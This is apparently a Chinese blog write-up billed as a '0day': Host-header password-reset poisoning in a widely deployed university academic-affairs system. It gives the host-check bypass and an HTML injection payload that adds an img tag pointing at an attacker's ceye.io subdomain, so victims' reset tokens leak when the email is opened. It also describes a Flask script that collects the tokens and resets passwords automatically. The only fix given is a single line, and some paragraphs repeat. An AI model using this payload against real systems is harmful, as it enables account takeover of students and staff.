【0day】不一样的密码重置漏洞(以U█P教务系统为例)
0x00 概述
在阅读了Host-Header欺骗在密码找回中的利用之后,我很受启发,拿着██大学的教务系统做了测试,发现了同类型漏洞存在,并且改进了漏洞利用方式使其具有更高的杀伤性。
由于██大学直接选择的是著名的U█P系统作为教务系统,因此这是个通用型的漏洞,理论上通杀各类U█P系统。
但对于该漏洞的利用需要受害者的交互还会在邮箱中留下记录,出了事一查一个准,因此妄想通过该漏洞拿到老师账号改成绩是不现实的。
由于██大学直接选择的是著名的U█P系统作为教务系统,因此这是个通用型的漏洞,理论上通杀各类U█P系统。
但对于该漏洞的利用需要受害者的交互还会在邮箱中留下记录,出了事一查一个准,因此妄想通过该漏洞拿到老师账号改成绩是不现实的。
0x01 背景:HOST头不可信
在编写WEB应用的时候,程序员往往不会直接把网站的host硬编码到代码中,而是通过动态手段获取(如$_SERVER['HTTP_HOST'])。
但是问题在于这个HOST并不是WEB应用自己带的,而是用户提供的!下面举个小例子来证明这一点。
看看以下代码
<?php
var_dump($_SERVER['HTTP_HOST']);
?>
我们可以直接访问来测试它
获取如下结果
再用localhost.fbi.gov来访问(localhost.fbi.gov指向了127.0.0.1)
获取到的HOST就变成了localhost.fbi.gov
我们可以看到,这个HTTP_HOST是从用户提交的HOST头中获取的,因此是不可信的
所以,攻击者可以通过污染HOST头让服务器做出一些设计者意想不到的事情。
我们可以看到,这个HTTP_HOST是从用户提交的HOST头中获取的,因此是不可信的
所以,攻击者可以通过污染HOST头让服务器做出一些设计者意想不到的事情。
0x02 漏洞发现
首先我们注意到,██大学教务系统在使用IP或者域名访问来请求重置密码的时候,链接的HOST不一样
这是用IP访问的时候
这是用域名访问的时候
我们可以猜测,这个链接的开头是由HOST头动态拼接的,因此或许可以利用这一点来实现攻击,但是在我初次尝试的时候遇到了一点挫折
服务器拒绝了我提供的HOST头,直白的host deny不留一丝情面
但是只需要略施小计就会发现只要我们提供的HOST头里面包含了合法的HOST就能够通过它的认证
现在我们可以通过替换这个HOST头实施攻击了
首先在BurpSuite中做出如下替换
接着再申请找回密码,密码重置邮件就变成这样了
可以看到,攻击者可以构造特殊的链接,让受害者点击链接之后把重置token送到攻击者的服务器上
0x03 杀伤性提升
尽管看起来很有用,但我相信任何智力正常的用户都不会点击一个莫名其妙的链接,所以我们需要改进我们的payload来提高杀伤性。
众所周知,邮箱可以加载图片,如果我们想办法让邮箱自动加载图片,那岂不是可以在用户点开邮件的瞬间获取其重置token?
抱着这样的想法,首先查看了邮件中的html代码并整理如下
<br><a href='http://[inject]/forgetPassword/modifyPassword?sid=[sid]&id=[id]'>
http://[inject]/forgetPassword/modifyPassword??sid=[sid]&id=[id]</a>
<br>
其中[inject]是我们的HOST头,是我们可控的部分
不难构造出html代码'></a><img src='http://[ceye子域名].ceye.io/[IP地址]:80/
来让html变成这样
(由于[inject]在两个地方,笔者实在无法构造更完美的代码)
(由于[inject]在两个地方,笔者实在无法构造更完美的代码)
<br><a href='http://'></a><img src='http://[ceye子域名].ceye.io/[ip地址]:80//forgetPassword/modifyPassword?sid=[sid]&id=[id]'>
http://'></a><img src='http://[ceye子域名].ceye.io/[ip地址]:80//forgetPassword/modifyPassword??sid=[sid]&id=[id]</a>
<br>
对于这类漏洞,必须要有一个server来接受参数,因此编写利用代码是很重要的。
我用Flask构建了一个简单的脚本,它能够开一个服务接收sid和id并自动化重置密码
同时返回图片降低受害者警惕,代码已经放在这里,可以参考使用
同时返回图片降低受害者警惕,代码已经放在这里,可以参考使用
0x05 如何修复漏洞
把host是否合法的判断由包含换成等于
评论
发表评论